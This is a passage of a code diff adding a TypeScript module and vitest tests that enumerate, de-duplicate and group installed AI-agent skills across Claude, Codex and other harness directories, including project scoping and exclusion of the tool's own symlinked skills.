+ else h.update(`${p}\n${readFileSync(p)}\n`);
+ }
+ };
+ walk(root);
+ return h.digest('hex');
+}
+
+let home: string;
+
+beforeAll(() => {
+ home = mkdtempSync(join(tmpdir(), 'ok-skills-catalog-'));
+
+ // --- Claude plugin home ---
+ const pluginsDir = join(home, '.claude', 'plugins');
+ const cache = join(pluginsDir, 'cache', 'inkeep-team-skills', 'eng');
+ const activePath = join(cache, '2.0.0');
+ const oldPath = join(cache, '1.0.0');
+ const orphanPath = join(cache, '9.9.9');
+
+ // Active install (newest non-orphaned): multi-skill + caps + a degrade + a skip.
+ mkdirSync(join(activePath, '.claude-plugin'), { recursive: true });
+ writeFileSync(
+ join(activePath, '.claude-plugin', 'plugin.json'),
+ JSON.stringify({
+ name: 'eng',
+ description: 'Eng skills',
+ version: '2.0.0',
+ author: { name: 'Inkeep' },
+ }),
+ 'utf-8',
+ );
+ mkdirSync(join(activePath, 'commands'), { recursive: true });
+ mkdirSync(join(activePath, 'hooks'), { recursive: true });
+ writeFileSync(join(activePath, '.mcp.json'), '{}', 'utf-8');
+ writeSkill(join(activePath, 'skills', 'alpha'), 'name: alpha\ndescription: Alpha skill');
+ writeSkill(
+ join(activePath, 'skills', 'shared-skill'),
+ 'name: shared-skill\ndescription: Shared from plugin',
+ );
+ // Malformed frontmatter → degrades to dir name, survives.
+ writeSkill(join(activePath, 'skills', 'malformed'), 'name: [unterminated\n : : :');
+ // No SKILL.md → skipped.
+ mkdirSync(join(activePath, 'skills', 'no-md'), { recursive: true });
+
+ // Older install at the SAME site → skipped by active-version pick.
+ writeSkill(join(oldPath, 'skills', 'ghost'), 'name: ghost\ndescription: should not appear');
+
+ // Orphaned install with the NEWEST lastUpdated → skipped despite being newest.
+ writeSkill(
+ join(orphanPath, 'skills', 'orphan-skill'),
+ 'name: orphan-skill\ndescription: should not appear',
+ );
+
+ writeFileSync(
+ join(pluginsDir, 'installed_plugins.json'),
+ JSON.stringify({
+ version: 2,
+ plugins: {
+ 'eng@inkeep-team-skills': [
+ {
+ scope: 'project',
+ projectPath: '/proj',
+ installPath: activePath,
+ version: '2.0.0',
+ gitCommitSha: 'abc123',
+ lastUpdated: '2026-06-29T00:00:00.000Z',
+ },
+ {
+ scope: 'project',
+ projectPath: '/proj',
+ installPath: oldPath,
+ version: '1.0.0',
+ gitCommitSha: 'old000',
+ lastUpdated: '2026-01-01T00:00:00.000Z',
+ },
+ {
+ scope: 'project',
+ projectPath: '/proj',
+ installPath: orphanPath,
+ version: '9.9.9',
+ lastUpdated: '2026-12-31T00:00:00.000Z',
+ orphaned_at: '2026-12-31T00:00:00.000Z',
+ },
+ ],
+ },
+ }),
+ 'utf-8',
+ );
+
+ // --- Two bare skill-dir homes sharing the plugin's skill name ---
+ writeSkill(
+ join(home, '.codex', 'skills', 'shared-skill'),
+ 'name: shared-skill\ndescription: Shared bare skill',
+ );
+ writeSkill(
+ join(home, '.opencode', 'skills', 'shared-skill'),
+ 'name: shared-skill\ndescription: Shared bare skill',
+ );
+ // .cursor / .agents / .claude/skills deliberately absent → skipped.
+});
+
+afterAll(() => {
+ rmSync(home, { recursive: true, force: true });
+});
+
+describe('enumerateInstalledSkills', () => {
+ test('produces normalized, de-duped, sorted skills + packs', () => {
+ const { skills, packs } = enumerateInstalledSkills({ home });
+ const names = skills.map((s) => s.name);
+
+ // Sorted; only the surviving skills (no ghost/orphan/no-md).
+ expect(names).toEqual(['alpha', 'malformed', 'shared-skill', 'shared-skill']);
+ expect(names).not.toContain('ghost'); // older version skipped
+ expect(names).not.toContain('orphan-skill'); // orphaned skipped despite newest
+
+ // Frontmatter extraction.
+ const alpha = skills.find((s) => s.name === 'alpha');
+ expect(alpha?.description).toBe('Alpha skill');
+
+ // Malformed frontmatter degraded to dir name, survives with empty description.
+ const malformed = skills.find((s) => s.name === 'malformed');
+ expect(malformed).toBeDefined();
+ expect(malformed?.description).toBe('');
+
+ // Inert flags from the plugin root.
+ expect(alpha?.inert).toEqual({ commands: true, hooks: true, mcp: true });
+
+ // Provenance present for the plugin source.
+ expect(alpha?.provenance).toMatchObject({
+ plugin: 'eng',
+ marketplace: 'inkeep-team-skills',
+ version: '2.0.0',
+ gitCommitSha: 'abc123',
+ scope: 'project',
+ // Carried so a project-scoped install can be attributed to its project
+ // (project-locality filtering; see scope.ts).
+ projectPath: '/proj',
+ });
+
+ // Identity-preserving de-dupe: the same global bytes collapse across bare
+ // harnesses, but the project plugin remains a distinct installed skill.
+ const shared = skills.filter((s) => s.name === 'shared-skill');
+ expect(shared).toHaveLength(2);
+ expect(shared.find((s) => s.provenance.plugin === 'eng')?.sourceHarnesses).toEqual(['claude']);
+ expect(shared.find((s) => s.provenance.plugin === undefined)?.sourceHarnesses).toEqual([
+ 'codex',
+ 'opencode',
+ ]);
+ expect(shared.find((s) => s.provenance.plugin === 'eng')?.inert).toEqual({
+ commands: true,
+ hooks: true,
+ mcp: true,
+ });
+
+ // Bare skills carry no provenance + no caps.
+ const codexOnly = enumerateInstalledSkills({ home }).skills; // re-read identical
+ expect(codexOnly).toEqual(skills);
+
+ // Packs: sorted, multi-skill plugin → one Pack; bare-shared → its own.
+ expect(packs.map((p) => p.name)).toEqual(['eng', 'shared-skill']);
+ const eng = packs.find((p) => p.name === 'eng');
+ expect(eng?.version).toBe('2.0.0');
+ expect(eng?.description).toBe('Eng skills');
+ expect(eng?.author).toEqual({ name: 'Inkeep' });
+ expect(eng?.skills).toEqual(['alpha', 'malformed', 'shared-skill']);
+ expect(eng?.hostCompatibility).toEqual(['claude']);
+
+ const sharedPack = packs.find((p) => p.name === 'shared-skill');
+ expect(sharedPack?.hostCompatibility).toEqual(['codex', 'opencode']);
+ });
+
+ test('is read-only — fixture byte-identical before/after', () => {
+ const before = hashTree(home);
+ enumerateInstalledSkills({ home });
+ expect(hashTree(home)).toBe(before);
+ });
+
+ test('project-local enumeration drops foreign plugin skills and their pack', () => {
+ const result = enumerateInstalledSkills({ home, projectDir: '/different-project' });
+
+ expect(result.skills.map((s) => s.name)).not.toContain('alpha');
+ expect(result.packs.map((pack) => pack.name)).not.toContain('eng');
+ expect(result.skills.filter((s) => s.name === 'shared-skill')).toHaveLength(1);
+ });
+
+ test('empty home → empty result', () => {
+ const empty = mkdtempSync(join(tmpdir(), 'ok-skills-empty-'));
+ try {
+ expect(enumerateInstalledSkills({ home: empty })).toEqual({ skills: [], packs: [] });
+ } finally {
+ rmSync(empty, { recursive: true, force: true });
+ }
+ });
+});
+
+test('a broken harness home is skipped; sibling homes still enumerate', () => {
+ const h = mkdtempSync(join(tmpdir(), 'ok-degrade-'));
+ // Corrupt Claude plugin manifest — this home must contribute nothing and must
+ // NOT abort the cross-harness read (degrade-don't-throw contract).
+ mkdirSync(join(h, '.claude', 'plugins'), { recursive: true });
+ writeFileSync(
+ join(h, '.claude', 'plugins', 'installed_plugins.json'),
+ '{ not valid json',
+ 'utf-8',
+ );
+ // A valid skill in a sibling harness home must still come through.
+ writeSkill(join(h, '.codex', 'skills', 'survivor'), 'name: survivor\ndescription: still here');
+ const res = enumerateInstalledSkills({ home: h });
+ rmSync(h, { recursive: true, force: true });
+ expect(res.skills.map((sk) => sk.name)).toContain('survivor');
+});
+
+describe('enumerateInstalledSkills — projectDir (harness-symmetric project detection)', () => {
+ let emptyHome: string;
+ let proj: string;
+
+ beforeAll(() => {
+ emptyHome = mkdtempSync(join(tmpdir(), 'ok-skills-emptyhome-'));
+ proj = mkdtempSync(join(tmpdir(), 'ok-skills-proj-'));
+ // A bare project harness skill (no plugin record) under `.codex/skills`.
+ writeSkill(
+ join(proj, '.codex', 'skills', 'proj-only'),
+ 'name: proj-only\ndescription: Codex-local',
+ );
+ // Same skill name under two project harness dirs → one row, both harnesses.
+ writeSkill(join(proj, '.codex', 'skills', 'dup'), 'name: dup\ndescription: same');
+ writeSkill(join(proj, '.claude', 'skills', 'dup'), 'name: dup\ndescription: same');
+ // OK-owned projection: a symlink into `.ok/skills` (must NOT surface as Detected).
+ writeSkill(join(proj, '.ok', 'skills', 'mine'), 'name: mine\ndescription: OK-managed');
+ mkdirSync(join(proj, '.claude', 'skills'), { recursive: true });
+ symlinkSync(
+ join(proj, '.ok', 'skills', 'mine'),
+ join(proj, '.claude', 'skills', 'mine'),
+ 'dir',
+ );
+ // OK's shipped bundle copy (real dir, reserved name) must NOT surface either.
+ writeSkill(
+ join(proj, '.claude', 'skills', 'open-knowledge'),
+ 'name: open-knowledge\ndescription: shipped bundle',
+ );
+ });
+
+ afterAll(() => {
+ rmSync(emptyHome, { recursive: true, force: true });
+ rmSync(proj, { recursive: true, force: true });
+ });
+
+ test('a project harness skill buckets as project (scope + projectPath stamped), not global', () => {
+ const { skills } = enumerateInstalledSkills({ home: emptyHome, projectDir: proj });
+ const row = skills.find((s) => s.name === 'proj-only');
+ expect(row).toBeDefined();
+ expect(row?.provenance.scope).toBe('project');
+ expect(row?.provenance.projectPath).toBe(proj);
+ expect(row?.sourceHarnesses).toEqual(['codex']);
+ });
+
+ test('same-named skill across two project harnesses collapses to one row', () => {
+ const { skills } = enumerateInstalledSkills({ home: emptyHome, projectDir: proj });
+ const rows = skills.filter((s) => s.name === 'dup');
+ expect(rows).toHaveLength(1);
+ expect(rows[0]?.sourceHarnesses).toEqual(['claude', 'codex']);
+ });
+
+ test('OK-owned projections (symlink into .ok/skills, reserved bundle name) are excluded', () => {
+ const { skills } = enumerateInstalledSkills({ home: emptyHome, projectDir: proj });
+ const names = skills.map((s) => s.name);
+ expect(names).not.toContain('mine');
+ expect(names).not.toContain('open-knowledge');
+ });
+
+ test('without projectDir, no project harness skills surface', () => {
+ const { skills } = enumerateInstalledSkills({ home: emptyHome });
+ expect(skills.map((s) => s.name)).not.toContain('proj-only');
+ });
+
+ test('suffix-mismatched names do NOT dedup-collapse — they stay two distinct rows', () => {
+ const p = mkdtempSync(join(tmpdir(), 'ok-skills-suffix-'));
+ try {
+ writeSkill(join(p, '.codex', 'skills', 'foo'), 'name: foo\ndescription: base');
+ writeSkill(
+ join(p, '.codex', 'skills', 'foo-codex'),
+ 'name: foo-codex\ndescription: suffixed',
+ );
+ const { skills } = enumerateInstalledSkills({ home: emptyHome, projectDir: p });
+ const names = skills.map((s) => s.name);
+ expect(names).toContain('foo');
+ expect(names).toContain('foo-codex');
+ } finally {
+ rmSync(p, { recursive: true, force: true });
+ }
+ });
+
+ test('same-scoped, same-named bundles with different bytes remain distinct forks', () => {
+ const p = mkdtempSync(join(tmpdir(), 'ok-skills-forks-'));
+ try {
+ writeSkill(join(p, '.codex', 'skills', 'fork'), 'name: fork\ndescription: codex', '# A');
+ writeSkill(join(p, '.claude', 'skills', 'fork'), 'name: fork\ndescription: claude', '# B');
+
+ const rows = enumerateInstalledSkills({ home: emptyHome, projectDir: p }).skills.filter(
+ (s) => s.name === 'fork',
+ );
+
+ expect(rows).toHaveLength(2);
+ expect(rows.map((s) => s.sourceHarnesses)).toEqual([['claude'], ['codex']]);
+ } finally {
+ rmSync(p, { recursive: true, force: true });
+ }
+ });
+
+ test('byte-identical project and global skills remain separate identities', () => {
+ const h = mkdtempSync(join(tmpdir(), 'ok-skills-scope-home-'));
+ const p = mkdtempSync(join(tmpdir(), 'ok-skills-scope-project-'));
+ try {
+ const frontmatter = 'name: scoped\ndescription: same bytes';
+ writeSkill(join(h, '.codex', 'skills', 'scoped'), frontmatter);
+ writeSkill(join(p, '.codex', 'skills', 'scoped'), frontmatter);
+
+ const rows = enumerateInstalledSkills({ home: h, projectDir: p }).skills.filter(
+ (s) => s.name === 'scoped',
+ );
+
+ expect(rows).toHaveLength(2);
+ expect(rows.map((s) => s.provenance.scope ?? 'global').sort()).toEqual(['global', 'project']);
+ } finally {
+ rmSync(h, { recursive: true, force: true });
+ rmSync(p, { recursive: true, force: true });
+ }
+ });
+});
diff --git a/packages/core/src/skills-catalog/enumerate.ts b/packages/core/src/skills-catalog/enumerate.ts
new file mode 100644
index 000000000..216ef8a2e
--- /dev/null
+++ b/packages/core/src/skills-catalog/enumerate.ts
@@ -0,0 +1,267 @@
+/**
+ * `enumerateInstalledSkills()` — the read-only, cross-harness foundation the
+ * whole marketplace builds on. Runs each harness adapter, normalizes every
+ * skill to the open `CatalogSkill` shape, de-dupes the same skill across
+ * harnesses into one entry (the `skills.sh` fan-out lands one skill in many
+ * homes), and groups source bundles into `OkPack` envelopes.
+ *
+ * Robustness contract: a missing/empty home is skipped; a malformed skill is
+ * skipped (or degraded to its dir name) — never abort the whole run. A machine
+ * with nothing installed returns `{ skills: [], packs: [] }`.
+ */
+
+import { realpathSync } from 'node:fs';
+import { resolve, sep } from 'node:path';
+import { parseSkillDir } from './acquire/parse.ts';
+import type { RawSkill, SkillBundle } from './adapters/shared.ts';
+import { enumerateSkillDir } from './adapters/skill-dir.ts';
+import { harnessHomes, projectHarnessHomes } from './harness-homes.ts';
+import { enumeratePluginProvider } from './plugin-providers/registry.ts';
+import type { CatalogSkill, OkPack } from './schema.ts';
+import { OK_PACK_SCHEMA_VERSION } from './schema.ts';
+import { catalogRawScopeToOkScope, isDetectedSkillInProject } from './scope.ts';
+
+export interface EnumerateOptions {
+ /** User home dir to resolve harness homes under. Defaults to the real one. */
+ home?: string;
+ /**
+ * Open project root. When set, ALSO scan `<projectDir>/.<harness>/skills` for
+ * every harness (the only project source for non-Claude harnesses), stamping
+ * each as `scope:'project'` bound to this dir so the project/global classifier
+ * keeps it here. Pass the SAME value the caller filters with
+ * (`isDetectedSkillInProject(..., projectDir)`) — for a git worktree that is
+ * the parent-checkout identity, so project scans and plugin records agree.
+ */
+ projectDir?: string;
+}
+
+/** OK's own shipped skills — surfaced via the excluded `/api/skills` surface, not as Detected rows. */
+const OK_OWNED_SKILL_PREFIX = 'open-knowledge';
+
+export interface InstalledSkillsResult {
+ skills: CatalogSkill[];
+ packs: OkPack[];
+}
+
+/** True when a raw skill carries any provenance (i.e. a Claude plugin source, or a project stamp). */
+function hasProvenance(s: RawSkill): boolean {
+ return Object.keys(s.provenance).length > 0;
+}
+
+/**
+ * True when a raw skill came from a Claude PLUGIN (carries the rich
+ * `plugin`/`marketplace`/`version` provenance), as opposed to a bare skill-dir
+ * or a project-scan stamp (which only carry `scope`/`projectPath`). Preferred by
+ * `pickWinner` so a plugin instance still wins the de-dupe over a same-named
+ * project-dir copy now that project scans stamp provenance too.
+ */
+function isPluginSourced(s: RawSkill): boolean {
+ return s.provenance.plugin !== undefined;
+}
+
+/** Pick the richest instance to represent a de-duped skill: plugin > any provenance > more files > first. */
+function pickWinner(a: RawSkill, b: RawSkill): RawSkill {
+ if (isPluginSourced(a) !== isPluginSourced(b)) return isPluginSourced(a) ? a : b;
+ if (hasProvenance(a) !== hasProvenance(b)) return hasProvenance(a) ? a : b;
+ const af = a.scripts.length + a.references.length;
+ const bf = b.scripts.length + b.references.length;
+ return bf > af ? b : a;
+}
+
+function toInstalledSkill(winner: RawSkill, harnesses: string[]): CatalogSkill {
+ return {
+ name: winner.name,
+ description: winner.description,
+ files: { skillMd: winner.skillMd, scripts: winner.scripts, references: winner.references },
+ sourceHarness: winner.harness,
+ sourceHarnesses: harnesses,
+ home: winner.home,
+ provenance: winner.provenance,
+ inert: winner.inert,
+ };
+}
+
+function contentIdentity(s: RawSkill): string {
+ try {
+ return parseSkillDir(s.home)?.contentHash ?? `unreadable:${s.home}`;
+ } catch {
+ return `unreadable:${s.home}`;
+ }
+}
+
+/**
+ * Collapse only identical skill occurrences. Scope and project binding are part
+ * of identity, and same-named bundles with different bytes remain distinct.
+ */
+function dedupeSkills(raw: RawSkill[]): CatalogSkill[] {
+ const byIdentity = new Map<string, { winner: RawSkill; harnesses: Set<string> }>();
+ for (const s of raw) {
+ const scope = catalogRawScopeToOkScope(s.provenance.scope);
+ const projectPath = scope === 'project' ? (s.provenance.projectPath ?? '') : '';
+ // A bundle that vanished or became unreadable during enumeration must not
+ // merge with another occurrence merely because both hashes are unavailable.
+ const key = `${scope}\0${projectPath}\0${s.name}\0${contentIdentity(s)}`;
+ const cur = byIdentity.get(key);
+ if (!cur) {
+ byIdentity.set(key, { winner: s, harnesses: new Set([s.harness]) });
+ } else {
+ cur.winner = pickWinner(cur.winner, s);
+ cur.harnesses.add(s.harness);
+ }
+ }
+ return [...byIdentity.values()]
+ .map(({ winner, harnesses }) => toInstalledSkill(winner, [...harnesses].sort()))
+ .sort(
+ (a, b) =>
+ a.name.localeCompare(b.name) ||
+ catalogRawScopeToOkScope(a.provenance.scope).localeCompare(
+ catalogRawScopeToOkScope(b.provenance.scope),
+ ) ||
+ a.home.localeCompare(b.home),
+ );
+}
+
+/** Group bundles into Packs, de-duped by pack name (a bare skill in N homes → one Pack). */
+function toPacks(bundles: SkillBundle[]): OkPack[] {
+ const byName = new Map<
+ string,
+ {
+ version: string;
+ description?: string;
+ author?: string;
+ skills: Set<string>;
+ hosts: Set<string>;
+ }
+ >();
+ for (const b of bundles) {
+ const cur = byName.get(b.packName);
+ const acc = cur ?? { version: '0.0.0', skills: new Set<string>(), hosts: new Set<string>() };
+ // First concrete version wins; first description/author wins.
+ if (acc.version === '0.0.0' && b.packVersion !== '0.0.0') acc.version = b.packVersion;
+ if (!acc.description && b.packDescription) acc.description = b.packDescription;
+ if (!acc.author && b.packAuthor) acc.author = b.packAuthor;
+ for (const s of b.skills) acc.skills.add(s.name);
+ acc.hosts.add(b.harness);
+ if (!cur) byName.set(b.packName, acc);
+ }
+ return [...byName.entries()]
+ .map(([name, acc]) => ({
+ schema: OK_PACK_SCHEMA_VERSION as typeof OK_PACK_SCHEMA_VERSION,
+ name,
+ version: acc.version,
+ ...(acc.description ? { description: acc.description } : {}),
+ ...(acc.author ? { author: { name: acc.author } } : {}),
+ skills: [...acc.skills].sort(),
+ hostCompatibility: [...acc.hosts].sort(),
+ }))
+ .sort((a, b) => a.name.localeCompare(b.name));
+}
+
+/**
+ * Enumerate every installed skill across all known harness homes. Pure read —
+ * no home is mutated. Returns sorted, de-duped skills + their Pack envelopes.
+ */
+export function enumerateInstalledSkills(opts: EnumerateOptions = {}): InstalledSkillsResult {
+ const bundles: SkillBundle[] = [];
+ for (const h of harnessHomes(opts.home)) {
+ try {
+ switch (h.kind) {
+ case 'plugin-provider':
+ bundles.push(...enumeratePluginProvider(h.provider, h.dir, h.harness));
+ break;
+ case 'skill-dir':
+ bundles.push(...enumerateSkillDir(h.dir, h.harness));
+ break;
+ default: {
+ // A new HarnessHomeKind must add a branch here, not silently
+ // fall through to one adapter. Throw (not return) so an unhandled
+ // kind fails loud instead of returning undefined from this function.
+ const _never: never = h;
+ throw new Error(`unhandled harness home kind: ${String(_never)}`);
+ }
+ }
+ } catch (err) {
+ // One bad home never aborts the cross-harness read, but log so an
+ // operator can tell an EACCES/malformed home apart from "nothing installed".
+ console.warn('[skills-catalog] failed to enumerate harness home, skipping', {
+ harness: h.harness,
+ dir: h.dir,
+ err,
+ });
+ }
+ }
+ if (opts.projectDir !== undefined) {
+ bundles.push(...enumerateProjectHarnessSkills(opts.projectDir));
+ }
+ const localBundles =
+ opts.projectDir === undefined
+ ? bundles
+ : bundles
+ .map((bundle) => ({
+ ...bundle,
+ skills: bundle.skills.filter((skill) =>
+ isDetectedSkillInProject(skill.provenance, opts.projectDir),
+ ),
+ }))
+ .filter((bundle) => bundle.skills.length > 0);
+ const raw = localBundles.flatMap((b) => b.skills);
+ return { skills: dedupeSkills(raw), packs: toPacks(localBundles) };
+}
+
+/**
+ * Scan `<projectDir>/.<harness>/skills` for every bare-skill-dir harness and
+ * return the discovered skills stamped `scope:'project'` bound to `projectDir`.
+ *
+ * The stamp is load-bearing: the `skill-dir` adapter records no provenance, and
+ * `catalogRawScopeToOkScope(undefined)` → `'global'`, so an un-stamped project
+ * skill would surface in EVERY project. Stamping it as project-scoped (with the
+ * same `projectDir` the server filters against) keeps it exactly here.
+ *
+ * OK's OWN projections are excluded: OK writes `.claude/skills/<name>` etc. as
+ * symlinks into `<projectDir>/.ok/skills` (skill-projection.ts), whose canonical
+ * home is the separate `/api/skills` surface — surfacing them here would
+ * double-list OK's managed skills as Detected rows. A skill whose realpath
+ * resolves under `.ok/skills`, or that carries OK's reserved shipped-bundle name
+ * prefix, is dropped.
+ */
+function enumerateProjectHarnessSkills(projectDir: string): SkillBundle[] {
+ const okSkillsRoot = realOrSelf(resolve(projectDir, '.ok', 'skills'));
+ const out: SkillBundle[] = [];
+ for (const h of projectHarnessHomes(projectDir)) {
+ try {
+ for (const bundle of enumerateSkillDir(h.dir, h.harness)) {
+ const skills = bundle.skills.filter((s) => !isOkOwnedProjection(s, okSkillsRoot));
+ if (skills.length === 0) continue;
+ out.push({ ...bundle, skills: skills.map((s) => stampProjectScope(s, projectDir)) });
+ }
+ } catch (err) {
+ console.warn('[skills-catalog] failed to enumerate project harness skills, skipping', {
+ harness: h.harness,
+ dir: h.dir,
+ err,
+ });
+ }
+ }
+ return out;
+}
+
+/** Stamp a project-scanned skill so the project/global classifier keeps it here. */
+function stampProjectScope(s: RawSkill, projectDir: string): RawSkill {
+ return { ...s, provenance: { ...s.provenance, scope: 'project', projectPath: projectDir } };
+}
+
+/** True when a project-scanned skill is one of OK's own projections (link into `.ok/skills`, or a shipped bundle). */
+function isOkOwnedProjection(s: RawSkill, okSkillsRoot: string): boolean {
+ if (s.name.startsWith(OK_OWNED_SKILL_PREFIX)) return true;
+ const real = realOrSelf(s.home);
+ return real === okSkillsRoot || real.startsWith(okSkillsRoot + sep);
+}
+
+/** `realpathSync`, or the resolved input when the path can't be resolved (broken link / gone). */
+function realOrSelf(p: string): string {
+ try {
+ return realpathSync(p);
+ } catch {
+ return resolve(p);
+ }
+}
diff --git a/packages/core/src/skills-catalog/harness-homes.test.ts b/packages/core/src/skills-catalog/harness-homes.test.ts
new file mode 100644
index 000000000..fc35863d6
--- /dev/null
+++ b/packages/core/src/skills-catalog/harness-homes.test.ts
@@ -0,0 +1,23 @@
+import { join } from 'node:path';
+import { describe, expect, test } from 'vitest';
+import { projectHarnessHomes } from './harness-homes.ts';
+
+describe('projectHarnessHomes', () => {
+ test('uses project roots for hosts whose user and project layouts differ', () => {
+ const projectDir = '/workspace/project';
+ const byHarness = new Map(
+ projectHarnessHomes(projectDir).map(({ harness, dir }) => [harness, dir]),
+ );
+
+ expect(byHarness.get('copilot')).toBe(join(projectDir, '.github', 'skills'));
+ expect(byHarness.get('pi')).toBe(join(projectDir, '.pi', 'skills'));
+ });
+
+ test('omits user-only skill hosts from project scanning', () => {
+ const harnesses = projectHarnessHomes('/workspace/project').map(({ harness }) => harness);
+
+ expect(harnesses).not.toContain('antigravity');
+ expect(harnesses).not.toContain('openclaw');
+ expect(harnesses).not.toContain('claude-desktop');
+ });
+});
diff --git a/packages/core/src/skills-catalog/harness-homes.ts b/packages/core/src/skills-catalog/harness-homes.ts
new file mode 100644
index 000000000..1e9b3ee1a
--- /dev/null
+++ b/packages/core/src/skills-catalog/harness-homes.ts
@@ -0,0 +1,83 @@
+/**
+ * Per-harness skill-dir home map — where each agent keeps its installed skills.
+ *
+ * MIRRORS the agentskills.io / vercel-labs `skills` per-agent dir map (the
+ * standard `skills.sh` fans out into 51 agents); OK does not invent its own.
+ * Every entry is a USER-GLOBAL `~/.<host>/skills/<name>/SKILL.md` home except
+ * Claude's plugin source, which is richer (provenance-carrying) and read by a
+ * dedicated adapter. Adding a harness the ecosystem map gains is one line here.
+ *
+ * Read-only: these dirs are resolved under the user's home only; the enumerator
+ * never follows a path that escapes its home. Note OK ALREADY writes the bare
+ * dirs (`.claude/skills`, `.codex/skills`, …) via scope projection — they are
+ * not read-only stores; this slice simply reads them. The one store OK must
+ * never write is the Claude plugin cache (`~/.claude/plugins/**`).
+ */
+
+import { homedir } from 'node:os';
+import { join } from 'node:path';
+import {
+ ALL_EDITOR_IDS,
+ EDITOR_PROJECT_SKILL_ROOT,
+ EDITOR_USER_SKILL_ROOT,
+} from '../constants/editors.ts';
+import { pluginProviderHomes } from './plugin-providers/registry.ts';
+import type { PluginProviderId } from './plugin-providers/types.ts';
+
+/** How a harness home is read. */
+export type HarnessHome =
+ | {
+ readonly harness: string;
+ readonly kind: 'plugin-provider';
+ readonly provider: PluginProviderId;
+ readonly dir: string;
+ }
+ | {
+ readonly harness: string;
+ readonly kind: 'skill-dir';
+ readonly dir: string;
+ };
+
+/**
+ * Resolve the harness homes for a given user home dir (defaults to the real
+ * one; the param exists so tests can point at a fixture root). The Claude
+ * plugin source is listed first so its rich provenance wins on cross-harness
+ * de-dupe.
+ */
+export function harnessHomes(home: string = homedir()): HarnessHome[] {
+ // The per-editor skill-dir homes derive from the canonical `EDITOR_USER_SKILL_ROOT`
+ // map so a detectable editor is onboarded by one row there, not a hand-edit
+ // here. The Claude plugin source and the vendor-neutral `.agents` hub are NOT
+ // editor ids, so they bracket the derived list — plugins FIRST so its rich
+ // provenance wins cross-harness de-dupe.
+ const editorHomes = ALL_EDITOR_IDS.flatMap<HarnessHome>((id) => {
+ const root = EDITOR_USER_SKILL_ROOT[id];
+ return root === null
+ ? []
+ : [{ harness: id, kind: 'skill-dir', dir: join(home, ...root.split('/')) }];
+ });
+ return [
+ ...pluginProviderHomes(home).map<HarnessHome>((providerHome) => ({
+ kind: 'plugin-provider',
+ ...providerHome,
+ })),
+ ...editorHomes,
+ { harness: 'agents', kind: 'skill-dir', dir: join(home, '.agents', 'skills') },
+ ];
+}
+
+/**
+ * The PROJECT-scoped harness skill dirs — `<projectDir>/.<harness>/skills` for
+ * every harness that keeps a bare project skill-dir layout. Derived from
+ * `EDITOR_PROJECT_SKILL_ROOT`, not the user-home map: several hosts deliberately
+ * use different paths at the two scopes. The Claude plugin cache remains a
+ * user-global store and is never included here.
+ */
+export function projectHarnessHomes(projectDir: string): HarnessHome[] {
+ return ALL_EDITOR_IDS.flatMap<HarnessHome>((id) => {
+ const root = EDITOR_PROJECT_SKILL_ROOT[id];
+ return root === null
+ ? []
+ : [{ harness: id, kind: 'skill-dir', dir: join(projectDir, ...root.split('/')) }];
+ });
+}
diff --git a/packages/core/src/skills-catalog/import-limits.ts b/packages/core/src/skills-catalog/import-limits.ts
new file mode 100644
index 000000000..8b469730f
--- /dev/null
+++ b/packages/core/src/skills-catalog/import-limits.ts
@@ -0,0 +1,4 @@
+/** Bounded bulk-import policy. Interactive skill-file edits use tighter limits. */
+export const SKILL_IMPORT_MAX_BUNDLE_FILES = 512;
+export const SKILL_IMPORT_MAX_FILE_BYTES = 16 * 1024 * 1024;
+export const SKILL_IMPORT_MAX_TOTAL_BYTES = 64 * 1024 * 1024;
diff --git a/packages/core/src/skills-catalog/index.ts b/packages/core/src/skills-catalog/index.ts
new file mode 100644
index 000000000..6bd8a43ce
--- /dev/null
+++ b/packages/core/src/skills-catalog/index.ts
@@ -0,0 +1,108 @@
+/**
+ * Node-only subpath barrel: `@inkeep/open-knowledge-core/skills-catalog`.
+ *
+ * The enumerator reads the filesystem (node:fs/os/path), so it is kept OUT of
+ * the browser-safe root `index.ts` barrel and consumed via this subpath by the
+ * server + CLI — mirroring `@inkeep/open-knowledge-core/server`. The pure
+ * skill/Pack schemas stay in the root barrel (browser-safe, zod only).
+ */
+
+export {
+ ALLOWED_GIT_TRANSPORTS,
+ type Fetched,
+ fetchSource,
+ parseSkillsShSource,
+ parseSource,
+ SkillFetchError,
+ type SkillsShSourceRef,
+ type SourceSpec,
+} from './acquire/fetch.ts';
+export {
+ emptySkillsLock,
+ findByContentHash,
+ parseSkillsLock,
+ retrofitPackLockEntry,
+ SKILLS_LOCK_FILENAME,
+ SKILLS_LOCK_REL,
+ SKILLS_LOCK_SCHEMA_VERSION,
+ type SkillLockEntry,
+ SkillLockEntrySchema,
+ type SkillsLock,
+ SkillsLockSchema,
+ upsertLockEntry,
+} from './acquire/lockfile.ts';
+export {
+ type AcquiredFile,
+ type AcquiredSkill,
+ acquiredBundleTooLarge,
+ discoverSkillDirs,
+ parseSkillDir,
+ readSkillDirMeta,
+} from './acquire/parse.ts';
+export {
+ parseSkillsShWebsiteSource,
+ type ResolvedSkillsShImportSource,
+ resolveSkillsShImportSource,
+ type SkillsShWebsiteSource,
+} from './acquire/skills-sh.ts';
+export {
+ discoverWellKnownSkills,
+ type FetchedWellKnownSkill,
+ fetchWellKnownSkill,
+ readWellKnownIndex,
+ type WellKnownFetchOptions,
+ type WellKnownIndex,
+ type WellKnownSkillSummary,
+ type WellKnownSourceSpec,
+} from './acquire/well-known.ts';
+export {
+ groupSkillsByIdentity,
+ SKILL_CANONICAL_PRECEDENCE,
+ type SkillHostId,
+ type SkillIdentityGroup,
+ type SkillOccurrence,
+} from './dedup.ts';
+export {
+ type EnumerateOptions,
+ enumerateInstalledSkills,
+ type InstalledSkillsResult,
+} from './enumerate.ts';
+export { harnessHomes } from './harness-homes.ts';
+export {
+ SKILL_IMPORT_MAX_BUNDLE_FILES,
+ SKILL_IMPORT_MAX_FILE_BYTES,
+ SKILL_IMPORT_MAX_TOTAL_BYTES,
+} from './import-limits.ts';
+export {
+ parseSkillsShLeaderboard,
+ parseSkillsShLeaderboardCards,
+} from './leaderboard.ts';
+export {
+ enumeratePluginProvider,
+ inspectPluginBundleDir,
+ inspectPluginSource,
+ pluginRepositoryUrl,
+ resolvePluginUpdateSource,
+} from './plugin-providers/registry.ts';
+export type {
+ PluginBundleInspection,
+ PluginCapabilities,
+ PluginProviderAdapter,
+ PluginProviderId,
+ PluginSourceInspection,
+} from './plugin-providers/types.ts';
+export { parseGitHubRepoSearch, parseOpenGraph, parseSkillsShSearch } from './search.ts';
+export {
+ buildSkillRegistry,
+ type LocatedSkillOccurrence,
+ type SkillRegistry,
+ skillRegistryKey,
+} from './skill-registry.ts';
